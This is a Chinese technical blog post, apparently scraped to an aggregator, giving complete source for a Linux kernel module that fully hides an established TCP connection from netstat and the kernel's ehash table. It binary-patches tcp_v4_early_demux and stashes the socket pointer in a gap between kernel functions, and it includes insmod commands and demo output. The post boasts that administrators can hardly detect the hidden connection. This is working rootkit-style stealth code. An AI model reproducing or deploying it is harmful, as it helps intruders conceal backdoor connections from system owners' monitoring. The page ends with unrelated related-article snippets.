Linux系统中如何彻底隐藏一个TCP连接?

2023-11-17

前面的文章中,我稍微描述了一下如何隐藏一个TCP连接:
https://blog.csdn.net/dog250/article/details/105372214

在上文中,我采用了 传统 的做法,即hook住proc的/proc/net/tcp展示接口,但这个方法并没有可观赏性,说白了有点像掩耳盗铃,毕竟连接还是在那里的,你自己去遍历系统的TCP ehash表,还是能看到所有大的TCP连接的。

所以,今天我来用 手艺活儿 的方法,庖丁解牛般演示如何彻底隐藏一个TCP连接。

看看那些各种hook proc展示接口的掩耳盗铃法,多么的复杂!多么的复杂啊!看看我这个,多么的彻底!多么的简单啊!

所谓的彻底隐藏,就是将一个TCP连接从系统的TCP ehash表中摘除!这个很容易,调用 inet_unhash 即可了。

问题是,摘除了之后,我们把它放在哪里,才能让进来的数据包顺利匹配到该连接呢?

答案还是二进制hook。

我们搜索系统内存中含有8个字节(一个地址的大小)空隙的位置,把sock结构体的地址放进去即可。这个空隙一般在内核函数之间。比如我使用的地址:

#define ROOM_ADDR   0xffffffff815622dd

它就是ip_rcv函数和ip4_frag_match之间的无用空隙。当然了,我们也可以动态分配内存,但是并不优雅。

来吧,下面是代码:

// hide_connection.c
#include <linux/module.h>
#include <net/tcp.h>
#include <linux/kernel.h>
#include <linux/kallsyms.h>
#include <linux/cpu.h>
/* 
 * version 1.0
 * 缺点:
 *	1. 仅仅可以藏一个sock,后续可以增加一个新的藏污纳垢专有hlist,同样可以见缝插针
 *	2. 仅仅支持目标端口匹配,即stub_func_tcp4_demux仅仅根据目标端口过滤
 * 但这一切都是为了简单!简单!简单!
 */

char *stub = NULL;

// 用于立即数替换
#define	ROOM_MAGIC	0x1122334455667788
#define	PORT_MAGIC	0x3412

// hook住tcp_v4_early_demux后执行该函数
void stub_func_tcp4_demux(struct sk_buff *skb)
{
	struct iphdr *iph;
    struct tcphdr *th;
	struct sock *sk;

	if (skb->pkt_type != PACKET_HOST)
		return;

	if (!pskb_may_pull(skb, skb_transport_offset(skb) + sizeof(struct tcphdr)))
		return;

	iph = ip_hdr(skb);
	th = tcp_hdr(skb);

	if (th->doff < sizeof(struct tcphdr) / 4)
		return;

	// PORT_MAGIC将会被目标端口所替换
	if (ntohs(th->dest) == PORT_MAGIC) {
		// ROOM_MAGIC将会被存放sock结构体的内存地址所替换,一个指针即可。
		struct sock **psk = (struct sock **)ROOM_MAGIC;
		sk = *psk; // 取出被藏匿的sock结构体地址

		atomic_inc_not_zero(&sk->sk_refcnt);
		skb->sk = sk;
		skb->destructor = sock_edemux;
		if (sk->sk_state != TCP_TIME_WAIT) {
			struct dst_entry *dst = sk->sk_rx_dst;

			if (dst)
				dst = dst_check(dst, 0);
			if (dst &&
				inet_sk(sk)->rx_dst_ifindex == skb->skb_iif)
				skb_dst_set_noref(skb, dst);
		}
		goto out;
	}
	return;
out:
	// 不再执行原始的tcp_v4_early_demux函数,skip掉它的堆栈。
	asm ("pop %rbx; pop %r12; pop %rbp; pop %r11; retq;");
}

#define FTRACE_SIZE   	5
#define POKE_OFFSET		0
#define POKE_LENGTH		5

void * *(*___vmalloc_node_range)(unsigned long size, unsigned long align,
            unsigned long start, unsigned long end, gfp_t gfp_mask,
            pgprot_t prot, int node, const void *caller);
static void *(*_text_poke_smp)(void *addr, const void *opcode, size_t len);
static struct mutex *_text_mutex;

char *hide_tcp4_seq_show = NULL;
unsigned char jmp_call[POKE_LENGTH];

#define START _AC(0xffffffffa0000000, UL)
#define END   _AC(0xffffffffff000000, UL)

static int hide = 1;
module_param(hide, int, 0444);

static __be16 sport = 1234;
module_param(sport, ushort, 0444);

static __be16 dport = 1234;
module_param(dport, ushort, 0444);

static __be32 saddr = 0;
module_param(saddr, uint, 0444);

static __be32 daddr = 0;
module_param(daddr, uint, 0444);

static int ifindex = 0;
module_param(ifindex, int, 0444);

#define	ROOM_ADDR	0xffffffff815622dd

void restore_connection(void)
{
	struct sock *sk, **psk;

	psk = (struct sock **)ROOM_ADDR;
	sk = *psk;

	__inet_hash_nolisten(sk, NULL);
}

static int __init hideconn_init(void)
{
	s32 offset;
	char *_tcp4_early_demux, *stub_demux;
	unsigned long hide_psk[1];
	unsigned short aport[1];
	struct sock **hide_sk, *sk = NULL;
	unsigned long psk_addr = 0;
	int i;
	unsigned long *scan;
	unsigned short *sscan;

	_tcp4_early_demux = (void *)kallsyms_lookup_name("tcp_v4_early_demux");
	if (!_tcp4_early_demux) {
		return -1;
	}

	___vmalloc_node_range = (void *)kallsyms_lookup_name("__vmalloc_node_range");
	_text_poke_smp = (void *)kallsyms_lookup_name("text_poke_smp");
	_text_mutex = (void *)kallsyms_lookup_name("text_mutex");
	if (!___vmalloc_node_range || !_text_poke_smp || !_text_mutex) {
		return -1;
	}

	if (hide == 0) { // 恢复TCP连接,将其重新插入TCP ehash表
		restore_connection();

		offset = *(unsigned int *)&_tcp4_early_demux[1];
		stub = (char *)(offset + (unsigned long)_tcp4_early_demux + FTRACE_SIZE);

		get_online_cpus();
		mutex_lock(_text_mutex);
		_text_poke_smp(&_tcp4_early_demux[POKE_OFFSET], &stub[0], POKE_LENGTH);
		mutex_unlock(_text_mutex);
		put_online_cpus();

		vfree(stub);
		return -1;
	}

	stub_demux = (void *)___vmalloc_node_range(0x1ff, 1, START, END,
								GFP_KERNEL | __GFP_HIGHMEM, PAGE_KERNEL_EXEC,
								-1, __builtin_return_address(0));

/*
// 仅仅藏匿一个socket
#define SIZE	1
	// 如果我们采用动态分配内存的方式,就必须想办法能找到它。
	// 呃...从stub_func_tcp4_demux的指令码里搜索是一个不错的选择!
	hide_sk = (struct sock **)___vmalloc_node_range(sizeof(char *)*SIZE, 1, START, END,
								GFP_KERNEL | __GFP_HIGHMEM, PAGE_KERNEL_EXEC,
								-1, __builtin_return_address(0));
*/
	// 但为了更加trick,我还是选择藏污纳垢的方式来见缝插针!
	hide_sk = (struct sock **)ROOM_ADDR;
	if (!stub_demux || !hide_sk) {
		return -1;
	}

	// 根据参数传来的4元组来查找socket!
	sk = inet_lookup_established(&init_net, &tcp_hashinfo,
                            saddr, htons(sport), daddr, htons(dport), ifindex);
	if (!sk) {
		vfree(stub_demux);
		return -1;
	}

	*hide_sk = sk;
	psk_addr = (unsigned long)hide_sk;
	hide_psk[0] = psk_addr;
	stub = (void *)stub_func_tcp4_demux;

	// 扫描stub查找并替换“隐藏sock的内存地址”
	scan = (unsigned long *)stub;
	for (i = 0; i < 0x1ff; i++) {
		scan = (unsigned long *)&stub[i];
		if (*scan == ROOM_MAGIC)
			break;
	}
	_text_poke_smp(&stub[i], hide_psk, sizeof(hide_psk));

	// 扫描stub查找并替换目标端口
	sscan = (unsigned short *)stub;
	for (i = 0; i < 0x1ff; i++) {
		sscan = (unsigned short *)&stub[i];
		if (ntohs(*sscan) == PORT_MAGIC)
			break;
	}
	aport[0] = htons(dport);
	_text_poke_smp(&stub[i], aport, sizeof(aport));

	memcpy(stub_demux, stub_func_tcp4_demux, 0x1ff);
	stub = (void *)stub_demux;

	jmp_call[0] = 0xe8;

	offset = (s32)((long)stub - (long)_tcp4_early_demux - FTRACE_SIZE);
	(*(s32 *)(&jmp_call[1])) = offset;

	get_online_cpus();
	mutex_lock(_text_mutex);
	_text_poke_smp(&_tcp4_early_demux[POKE_OFFSET], jmp_call, POKE_LENGTH);
	mutex_unlock(_text_mutex);
	put_online_cpus();

	// 将TCP连接从ehash摘除
	inet_unhash(sk);
	sock_put(sk);

	// 事了拂衣去,深藏身与名!
	return -1;
}

static void __exit hideconn_exit(void)
{
}

module_init(hideconn_init);
module_exit(hideconn_exit);
MODULE_LICENSE("GPL");

好了,让我们演示一把。

首先在机器上启动一个nc,然后另外一台机器上启动另一个nc或者telnet来连接它:

[root@localhost ~]# netstat -antp|grep 2222
tcp        0      0 192.168.56.110:2222     192.168.56.101:50618    ESTABLISHED 4154/nc

然后按照展示的四元组来加载模块:

[root@localhost ~]# insmod ./hide_connection.ko daddr=0x6e38a8c0 dport=2222 saddr=0x6538a8c0 ifindex=3 sport=50618
insmod: ERROR: could not insert module ./hide_connection.ko: Operation not permitted
[root@localhost ~]# netstat -antp|grep 2222
[root@localhost ~]# echo $?
1

看来,连接已经被隐藏掉了。然而连接还在,连接它的那台机器还可以和它通信:

root@zhaoya-VirtualBox:/home/zhaoya# telnet 192.168.56.110 2222
Trying 192.168.56.110...
Connected to 192.168.56.110.
Escape character is '^]'.
11111
3333333
222222222222222

在本机看来:

[root@localhost ~]# nc -l 2222
11111
3333333
222222222222222

双方在不停地相互echo。

好了,玩够了,现在让我们恢复这个TCP连接:

[root@localhost ~]# insmod ./hide_connection.ko daddr=0x6e38a8c0 dport=2222 saddr=0x6538a8c0 ifindex=3 sport=50618 hide=0
insmod: ERROR: could not insert module ./hide_connection.ko: Operation not permitted
[root@localhost ~]# netstat -antp|grep 2222
tcp        0      0 192.168.56.110:2222     192.168.56.101:50618    ESTABLISHED 4154/nc
[root@localhost ~]# echo $?
0

我起初想的是,靠动态内存分配,在系统中营造一个TCP连接的小王国,或者说进程的小王国,把隐藏掉的TCP连接或者进程均放在这些小王国里,只有我自己知道它们在哪里:

  • 它们在内核函数的间隙。
  • 它们在任意位置。
  • 它们的地址被分为4个部分,每个部分2字节,这样只需4个不连续的2字节间隙即可。
  • 它们甚至可以一个字节一个字节拼起来形成一个地址。

以这种方式隐藏掉的TCP连接,是比较彻底的隐藏方式,经理基本是无法查出来的。

如果你说CFI,好吧,一般的经理不懂CFI的,不过无论怎样,经理的皮鞋都是真皮的。


浙江温州皮鞋湿,下雨进水不会胖

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

Linux系统中如何彻底隐藏一个TCP连接? 的相关文章

  • slice+append陷阱

    1 前言 今天在网上看slice扩容原理 偶然看到一个slice的题目 感觉很有意思 题目如下 package main import fmt func main s1 int 1 2 s2 s1 s2 append s2 3 Test1
  • 用Python生成化学结构式

    from rdkit import Chem from rdkit Chem Draw import rdMolDraw2D print 欢迎使用化学式绘制工具 while 1 绘制主链 print 示例 CCC C CC 是第三个碳原子上
  • 3. C++ 11特性 数组和结构初始化、数组、循环、作用域内枚举

    目录 1 数组初始化 2 字符串初始化 3 结构初始化 4 数组替代模板类array 5 基于范围的for循环 6 作用域内枚举 1 数组初始化 初始化数组时 可省略等号 double earnings 4 1 2e4 1 6e4 1 1e
  • SpringMVC:从入门到精通,7篇系列篇带你全面掌握--七.自定义注解

    目录 Welcome Huihui s Code World 一 Java注解简介 1 原生注解的分类 1 JDK基本注解 Override SuppressWarnings value unchecked 2 JDK元注解 Retenti
  • chatgpt赋能python:用Python计算e的方法

    用Python计算e的方法 Python是一种功能强大的编程语言 可以用它来解决许多数学问题 其中之一就是计算数学常数e e是一个无理数 约为2 71828 它在许多数学和科学领域中都有重要应用 例如微积分 概率论和物理学 什么是e e是一
  • qt无边框窗体的移动

    无边框窗体的移动 this gt setWindowFlags Qt FramelessWindowHint 设置窗体为无边框 鼠标移动窗体移动涉及到三个事件分别是 鼠标按下 鼠标移动 鼠标松开 这三个事件在Qwidget中是虚函数 在QW
  • 人工智能复习

    大纲 5个大题 知识表示 一阶谓词逻辑 产生式 框架表示法 知识推理 归结原理 搜索算法 第三 四题 宽度优先算法 深度优先算法 开放题 论述题 计算题 用归结反演求取问题的答案 已知 张 Zhang 和李 Li 是同班同学 如果x和y是同
  • 超全总线控制方式总结

    总线控制 看了网络上的文章 质量真的不太行 就自己结合着整理一下 总线控制主要是两个大方面 总线判优控制和总线通信控制 一 总线判优控制 总线上同一时刻只允许一个设备进行占用 为了防止冲突 我们引入了判优逻辑 仲裁谁可以先占用 实际上我也没
  • Java基础12--面向对象:封装

    Java基础12 面向对象 封装 在面向对象程式设计方法中 封装 英语 Encapsulation 是指一种将抽象性函式接口的实现细节部分包装 隐藏起来的方法 封装可以被认为是一个保护屏障 防止该类的代码和数据被外部类定义的代码随机访问 要
  • chatGLM介绍

    一 简述 清华大学推出的ChatGLM的第二代版本 支持中文 效果好 清华大学的ChatGLM应该是中文大语言模型中最好的 要求低 可以在消费级的显卡上运行 二 链接 工程 https github com THUDM ChatGLM2 6
  • Ajax提交form表单

    Ajax提交form表单 ajax 几个参数需要注意一下 type POST 方法类型 传递方式 dataType json 预期服务器返回的数据类型 url url 就是form里面的action 不要忘了url前面加 data form
  • 基于OpenCV的人脸识别系统

    人脸识别技术是计算机视觉领域的重要应用之一 它可以通过对人脸图像的分析和比较 实现对不同人的身份的自动识别 在本文中 我们将使用OpenCV这一流行的计算机视觉库 介绍一个简单的人脸识别系统 并且逐步深入到算法的具体实现方式 1 安装与配置
  • 京东Java研发值不值得去?

    有问有答是程序视界的一个免费问答栏目 感兴趣的朋友 可以按照下面的方式参与 在本文后留言 以有问有答开始 放心 这类留言不会被公开 只有被选中的留言会出现在周四晚发布的文章内 同时可根据要求匿名 或发邮件给 foruok 163 com 标
  • linux 服务启动依赖,linux下的系统服务介绍——init、systemd

    我们经常会听到服务service以及daemon这两个词 它们到底是什么意思呢 之间有什么区别和联系吗 linux下的服务service是常驻在内存中的程序 并且能够提供一些系统或网络方面的功能 而daemon从字面翻译是守护进程或后台进程
  • 五、C++语言进阶:智能指针

    5 智能指针 指针的危害 指针未初始化 野指针 内存泄漏 智能指针的出现就是为了解决上面的问题 智能指针基于这样的事实得以发挥作用 定义在栈中的智能指针 当超出其作用域时 会自动调用它的析构函数 从而可以释放其关联的内存资源 5 1 分类
  • 光遇聊天服务器维护,光遇变成“哑遇”?关闭聊天功能的背后,有你不知道的原因!...

    前言 大家好 我是阿瑶 每天为你发布游戏领域最新情报 当社交游戏失去聊天功能 会变成什么样 近期 光遇官博公布了一条消息 表示将暂时关闭聊天服务器 进行维护和更新 一开始玩家们都不相信 毕竟光遇是社交手游 聊天是最重要的玩法 然而没过多久
  • request.GetResponse()超时的解决办法

    var request HttpWebRequest WebRequest Create url request Timeout Timeout Infinite request KeepAlive true var response Ht

随机推荐

  • next文章目录跳转_Hexo-NexT配置个人博客

    一 安装NexT Hexo 安装主题的方式非常简单 只需要将主题文件拷贝至站点目录的 themes 目录下 然后修改下配置文件即可 具体到 NexT 来说 安装步骤如下 1 克隆最新版本 在终端窗口下 定位到 Hexo 站点目录下 使用 G
  • 【RTOS学习】单片机中的C语言

    作者 一只大喵咪1201 专栏 RTOS学习 格言 你只管努力 剩下的交给时间 本喵默认各位小伙伴都会C语言 我们平时学习C语言都是在Windows环境下学习的 对于程序执行的底层逻辑了解的不是非常清楚 本喵在这里给大家介绍一下 C语言在单
  • 【计算机视觉

    文章目录 一 问题 二 个人的理解 2 1 线性层的理解 2 2 pseudo words的理解 2 2 1 详细一点 2 2 2 为什么可以使用文本嵌入空间中的技术 2 2 3 pseudo word的本质是什么 2 2 4 好处 2 2
  • 时间序列分析波动性预测GARCH模型

    GARCH Generalized Autoregressive Conditional Heteroskedasticity 模型是一种常用于预测金融时间序列波动性的统计模型 它是ARCH Autoregressive Condition
  • Axios 发送 json 数据

  • [1008]ROW_NUMBER和RANK和DENSE_RANK的区别

    文章目录 row number over partition by order by 使用说明书 ROW NUMBER和RANK和DENSE RANK的区别 row number over partition by order by 使用说
  • 【SpringBoot 3.x】使用starter整合Druid

    Druid介绍 Druid是阿里巴巴的一个开源项目 号称为监控而生的数据库连接池 在功能 性能 扩展性方面都超过其他例如DBCP C3P0 BoneCP Proxool JBoss DataSource等连接池 而且Druid已经在阿里巴巴
  • echarts自定义主题构建

    ecahrts自定义主体构建 首先 需要ui在echarts官网的工具 gt 主体构建工具 中配置参数 然后导出json 或者直接下载js文件 主体名称最好给个英文名称 如果UI给的是中文 修改一下 1 打开下载的js 2 搜索 echar
  • 100天精通Python(数据分析篇)——第64天:Pandas分组groupby函数案例

    文章目录 一 分组 groupby 1 GroupBy对象 DataFrameGroupBy SeriesGroupBy 1 分组操作 2 分组运算 3 按自定义的key分组 2 GroupBy对象支持迭代操作 1 单层分组 2 多层分组
  • 数据集【NO.7】无人机航拍数据集——VisDrone2019数据集

    写在前面 数据集对应应用场景 不同的应用场景有不同的检测难点以及对应改进方法 本系列整理汇总领域内的数据集 方便大家下载数据集 若无法下载可关注后私信领取 关注免费领取整理好的数据集资料 本文数据集链接 https pan baidu co
  • 10个值得珍藏的4K高清壁纸网站推荐

    作为打开电脑 or 手机第一眼就看到的桌面 给它设置一个赏心悦目的桌面壁纸还是必不可少的 下面分享了 10 个值得珍藏的高清桌面壁纸网站 支持各种图片比例和分辨率 从 720P 到 4K 8K 应有尽有 电脑和手机都可以使用 高清桌面壁纸网
  • 20. 有效的括号

    思路 这道题刚看到的时候想着放入数组然后首末都使用指针在指向进行匹对 发现不太好用 想起表达式计算时是通过入栈进行计算从而进行括号匹对 所以思路还是使用栈 但是Java还不是学得很深 不知道怎么用栈 故通过数组来模拟栈 将字符串放入字符数组
  • Linux 设置定时任务

    作者 Linux猿 简介 CSDN博客专家 华为云享专家 Linux C C 云计算 物联网 面试 刷题 算法尽管咨询我 关注我 有问题私聊 欢迎小伙伴们点赞 收藏 留言 本篇文章主要介绍在 Linux 环境下如何设置定时任务 一 实验环境
  • (ESP32学习11)串口的使用(发送和接收)

    首先串口这种很重要的东西应该早点讲的 但是串口发送简单 读取起来是要废一番脑筋的 所以下面有两个部分 第一部分只有ESP32的几个串口使能和发送的讲解 第二部分就包含串口接收 我们将要把读取的数据再由我们的调试串口打印出来 下一篇我还会更一
  • ant-design-pro 项目运行报错解决

    第一步 安装git 第二步 安装图片输入命令 在运行到npm insatll 这一步的时候一直报错 详情就不写了 试了淘宝镜像一样报错 最后用yarn命令 会报错淘宝镜像运行结尾有报错 所以卸载了淘宝镜像 npm uninstall cnp
  • centos7调整vm.max_map_count的大小及修改系统打开文件大小

    参考博主 centos7调整vm max map count的大小及修改系统打开文件大小
  • JavaScript最后分水岭——正则表达式

    个人简介 个人主页 微风洋洋 博客领域 编程基础 后端 写作风格 干货 干货 还是tmd的干货 精选专栏 JavaScript 支持洋锅 点赞 收藏 留言 好久不见 甚是想念 大家好 我是微风洋洋 也可以叫我洋锅 细心地小伙伴可能已经发现
  • 线性代数-方阵对角化及其应用

    前置知识 1 向量的内积 对于 a x 1
  • Springboot 集成 RabbitMq 实现消息确认机制

    消息确认主要分为两种 发送确认 发送确认包含两种情况 一种是消息是否到达交换机 一种是消息是否到达队列 接收确认 一 发送方消息确认 1 ConfirmCallback 接口 配置文件需要开启配置 publisher confirm typ
  • Linux系统中如何彻底隐藏一个TCP连接?

    前面的文章中 我稍微描述了一下如何隐藏一个TCP连接 https blog csdn net dog250 article details 105372214 在上文中 我采用了 传统 的做法 即hook住proc的 proc net tc